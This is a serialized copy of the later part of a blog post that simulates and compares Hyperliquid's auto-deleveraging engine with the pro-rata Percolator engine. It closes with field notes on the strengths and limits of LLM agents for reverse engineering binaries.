",{"type":20,"tag":119,"props":163300,"children":163302},{"className":163301},[2375,2376],[163303],{"type":20,"tag":315,"props":163304,"children":163306},{"className":163305},[2381],[163307],{"type":20,"tag":315,"props":163308,"children":163310},{"className":163309,"ariaHidden":2387},[2386],[163311],{"type":20,"tag":315,"props":163312,"children":163314},{"className":163313},[2392],[163315,163319],{"type":20,"tag":315,"props":163316,"children":163318},{"className":163317,"style":109146},[2397],[],{"type":20,"tag":315,"props":163320,"children":163322},{"className":163321,"style":91791},[2403,19992],[163323],{"type":26,"value":159376},{"type":20,"tag":29,"props":163325,"children":163326},{},[163327],{"type":26,"value":163328},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":20,"tag":163330,"props":163331,"children":163333},"git-hub-repo-link",{"url":163332},"https://github.com/aeyakovenko/percolator",[],{"type":20,"tag":29,"props":163335,"children":163336},{},[163337,163339,163344],{"type":26,"value":163338},"Given a fixed ",{"type":20,"tag":55,"props":163340,"children":163341},{},[163342],{"type":26,"value":163343},"a priori",{"type":26,"value":163345}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":20,"tag":29,"props":163347,"children":163348},{},[163349,163351,163356,163358,163435],{"type":26,"value":163350},"One prediction that we can make is that Percolator is ",{"type":20,"tag":55,"props":163352,"children":163353},{},[163354],{"type":26,"value":163355},"perfectly fair",{"type":26,"value":163357}," according to this scoring: the ",{"type":20,"tag":119,"props":163359,"children":163361},{"className":163360},[2375,2376],[163362],{"type":20,"tag":315,"props":163363,"children":163365},{"className":163364},[2381],[163366],{"type":20,"tag":315,"props":163367,"children":163369},{"className":163368,"ariaHidden":2387},[2386],[163370],{"type":20,"tag":315,"props":163371,"children":163373},{"className":163372},[2392],[163374,163378],{"type":20,"tag":315,"props":163375,"children":163377},{"className":163376,"style":140584},[2397],[],{"type":20,"tag":315,"props":163379,"children":163381},{"className":163380},[2403],[163382,163387],{"type":20,"tag":315,"props":163383,"children":163385},{"className":163384},[2403,19992],[163386],{"type":26,"value":82603},{"type":20,"tag":315,"props":163388,"children":163390},{"className":163389},[2419],[163391],{"type":20,"tag":315,"props":163392,"children":163394},{"className":163393},[2424,20046],[163395,163424],{"type":20,"tag":315,"props":163396,"children":163398},{"className":163397},[2429],[163399,163419],{"type":20,"tag":315,"props":163400,"children":163402},{"className":163401,"style":91834},[2434],[163403],{"type":20,"tag":315,"props":163404,"children":163405},{"style":91361},[163406,163410],{"type":20,"tag":315,"props":163407,"children":163409},{"className":163408,"style":2444},[2443],[],{"type":20,"tag":315,"props":163411,"children":163413},{"className":163412},[2449,2450,2451,2452],[163414],{"type":20,"tag":315,"props":163415,"children":163417},{"className":163416},[2403,19992,2452],[163418],{"type":26,"value":2122},{"type":20,"tag":315,"props":163420,"children":163422},{"className":163421},[20149],[163423],{"type":26,"value":20152},{"type":20,"tag":315,"props":163425,"children":163427},{"className":163426},[2429],[163428],{"type":20,"tag":315,"props":163429,"children":163431},{"className":163430,"style":91388},[2434],[163432],{"type":20,"tag":315,"props":163433,"children":163434},{},[],{"type":26,"value":163436}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":20,"tag":29,"props":163438,"children":163439},{},[163440,163442,163447],{"type":26,"value":163441},"We are ignoring the ",{"type":20,"tag":55,"props":163443,"children":163444},{},[163445],{"type":26,"value":163446},"a posteriori",{"type":26,"value":163448}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":20,"tag":29,"props":163450,"children":163451},{},[163452],{"type":26,"value":163453},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":20,"tag":21,"props":163455,"children":163457},{"id":163456},"simulations",[163458],{"type":26,"value":163459},"Simulations",{"type":20,"tag":29,"props":163461,"children":163462},{},[163463],{"type":26,"value":163464},"Let's consider the following price scenarios, as we said:",{"type":20,"tag":29,"props":163466,"children":163467},{},[163468],{"type":20,"tag":2308,"props":163469,"children":163472},{"alt":163470,"src":163471},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":20,"tag":29,"props":163474,"children":163475},{},[163476],{"type":26,"value":163477},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":20,"tag":29,"props":163479,"children":163480},{},[163481],{"type":20,"tag":2308,"props":163482,"children":163485},{"alt":163483,"src":163484},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":20,"tag":219,"props":163487,"children":163489},{"id":163488},"percolator-is-more-optimistic",[163490],{"type":26,"value":163491},"Percolator Is More \"Optimistic\"",{"type":20,"tag":29,"props":163493,"children":163494},{},[163495,163497,163502,163504,163509,163511,163517,163519,163524],{"type":26,"value":163496},"The key difference is what happens to positions. ADL ",{"type":20,"tag":55,"props":163498,"children":163499},{},[163500],{"type":26,"value":163501},"permanently closes",{"type":26,"value":163503}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":20,"tag":55,"props":163505,"children":163506},{},[163507],{"type":26,"value":163508},"withdraw",{"type":26,"value":163510},", but the position stays open. If conditions improve, ",{"type":20,"tag":119,"props":163512,"children":163514},{"className":163513},[],[163515],{"type":26,"value":163516},"Residual",{"type":26,"value":163518}," goes up, ",{"type":20,"tag":119,"props":163520,"children":163522},{"className":163521},[],[163523],{"type":26,"value":82603},{"type":26,"value":163525}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":20,"tag":29,"props":163527,"children":163528},{},[163529,163531,163535],{"type":26,"value":163530},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":20,"tag":55,"props":163532,"children":163533},{},[163534],{"type":26,"value":18590},{"type":26,"value":163536}," per position, though the tradeoff is that fewer traders get to participate.",{"type":20,"tag":29,"props":163538,"children":163539},{},[163540],{"type":20,"tag":2308,"props":163541,"children":163544},{"alt":163542,"src":163543},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":20,"tag":21,"props":163546,"children":163548},{"id":163547},"some-points-to-be-made",[163549],{"type":26,"value":163550},"Some Points to Be Made",{"type":20,"tag":219,"props":163552,"children":163554},{"id":163553},"percolator-is-indifferent-to-leverage",[163555],{"type":26,"value":163556},"Percolator Is Indifferent to Leverage",{"type":20,"tag":29,"props":163558,"children":163559},{},[163560],{"type":26,"value":163561},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":20,"tag":29,"props":163563,"children":163564},{},[163565],{"type":20,"tag":2308,"props":163566,"children":163569},{"alt":163567,"src":163568},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":20,"tag":219,"props":163571,"children":163573},{"id":163572},"fairness",[163574],{"type":26,"value":159127},{"type":20,"tag":29,"props":163576,"children":163577},{},[163578],{"type":26,"value":163579},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":20,"tag":29,"props":163581,"children":163582},{},[163583],{"type":20,"tag":2308,"props":163584,"children":163587},{"alt":163585,"src":163586},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":20,"tag":29,"props":163589,"children":163590},{},[163591,163593,163598],{"type":26,"value":163592},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":20,"tag":119,"props":163594,"children":163596},{"className":163595},[],[163597],{"type":26,"value":157629},{"type":26,"value":163599}," we start by fully closing the worst position against the best-performing trader.",{"type":20,"tag":21,"props":163601,"children":163603},{"id":163602},"strengths-and-limitations-of-agents-for-reverse-engineering",[163604],{"type":26,"value":163605},"Strengths and Limitations of Agents for Reverse Engineering",{"type":20,"tag":29,"props":163607,"children":163608},{},[163609],{"type":26,"value":163610},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":20,"tag":219,"props":163612,"children":163614},{"id":163613},"hooks",[163615],{"type":26,"value":163616},"Hooks",{"type":20,"tag":29,"props":163618,"children":163619},{},[163620,163622,163626],{"type":26,"value":163621},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":20,"tag":55,"props":163623,"children":163624},{},[163625],{"type":26,"value":163613},{"type":26,"value":163627},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":20,"tag":29,"props":163629,"children":163630},{},[163631],{"type":26,"value":163632},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":20,"tag":219,"props":163634,"children":163636},{"id":163635},"scale",[163637],{"type":26,"value":163638},"Scale",{"type":20,"tag":29,"props":163640,"children":163641},{},[163642],{"type":26,"value":163643},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":20,"tag":29,"props":163645,"children":163646},{},[163647],{"type":26,"value":163648},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":20,"tag":219,"props":163650,"children":163652},{"id":163651},"whats-next",[163653],{"type":26,"value":163654},"What's next?",{"type":20,"tag":29,"props":163656,"children":163657},{},[163658],{"type":26,"value":163659},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":20,"tag":163330,"props":163661,"children":163662},{"url":157290},[],{"type":20,"tag":29,"props":163664,"children":163665},{},[163666],{"type":26,"value":163667},"The analyzed binary can be found here:",{"type":20,"tag":157610,"props":163669,"children":163672},{"path":163670,"name":157214,"size":163671},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":20,"tag":219,"props":163674,"children":163676},{"id":163675},"closing-words",[163677],{"type":26,"value":163678},"Closing Words",{"type":20,"tag":29,"props":163680,"children":163681},{},[163682],{"type":26,"value":163683},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":20,"tag":29,"props":163685,"children":163686},{},[163687,163689,163694],{"type":26,"value":163688},"Flagship models got us 60% of the way there, but a lot of ",{"type":20,"tag":55,"props":163690,"children":163691},{},[163692],{"type":26,"value":163693},"manual",{"type":26,"value":163695}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":20,"tag":29,"props":163697,"children":163698},{},[163699],{"type":26,"value":163700},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":20,"tag":29,"props":163702,"children":163703},{},[163704],{"type":26,"value":163705},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":20,"tag":163707,"props":163708,"children":163709},"report-footnotes",{},[163710],{"type":20,"tag":68,"props":163711,"children":163712},{},[163713,163718,163745,163750,163755],{"type":20,"tag":72,"props":163714,"children":163715},{},[163716],{"type":26,"value":163717},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":20,"tag":72,"props":163719,"children":163720},{},[163721,163727,163729,163735,163737,163743],{"type":20,"tag":119,"props":163722,"children":163724},{"className":163723},[],[163725],{"type":26,"value":163726},"compute_user_margin_and_shortfall",{"type":26,"value":163728}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":20,"tag":119,"props":163730,"children":163732},{"className":163731},[],[163733],{"type":26,"value":163734},"0x748",{"type":26,"value":163736}," in the abstract expressions of ",{"type":20,"tag":119,"props":163738,"children":163740},{"className":163739},[],[163741],{"type":26,"value":163742},"btree_cursor",{"type":26,"value":163744},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":20,"tag":72,"props":163746,"children":163747},{},[163748],{"type":26,"value":163749},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":20,"tag":72,"props":163751,"children":163752},{},[163753],{"type":26,"value":163754},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":20,"tag":72,"props":163756,"children":163757},{},[163758,163760,163766],{"type":26,"value":163759},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":20,"tag":119,"props":163761,"children":163763},{"className":163762},[],[163764],{"type":26,"value":163765},"s3://hl-mainnet-node-data/explorer_blocks",{"type":26,"value":61},{"title":7,"searchDepth":356,"depth":356,"links":163768},[163769,163770,163771,163772,163773,163776,163777,163778,163781,163782,163785,163789],{"id":157160,"depth":356,"text":157163},{"id":157153,"depth":356,"text":157181},{"id":157238,"depth":356,"text":157241},{"id":157519,"depth":356,"text":157522},{"id":157553,"depth":356,"text":157556,"children":163774},[163775],{"id":157692,"depth":365,"text":157695},{"id":158471,"depth":356,"text":158474},{"id":158567,"depth":356,"text":158570},{"id":158785,"depth":356,"text":158788,"children":163779},[163780],{"id":159030,"depth":365,"text":159033},{"id":159090,"depth":356,"text":159093},{"id":163456,"depth":356,"text":163459,"children":163783},[163784],{"id":163488,"depth":365,"text":163491},{"id":163547,"depth":356,"text":163550,"children":163786},[163787,163788],{"id":163553,"depth":365,"text":163556},{"id":163572,"depth":365,"text":159127},{"id":163602,"depth":356,"text":163605,"children":163790},[163791,163792,163793,163794],{"id":163613,"depth":365,"text":163616},{"id":163635,"depth":365,"text":163638},{"id":163651,"depth":365,"text":163654},{"id":163675,"depth":365,"text":163678},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630607]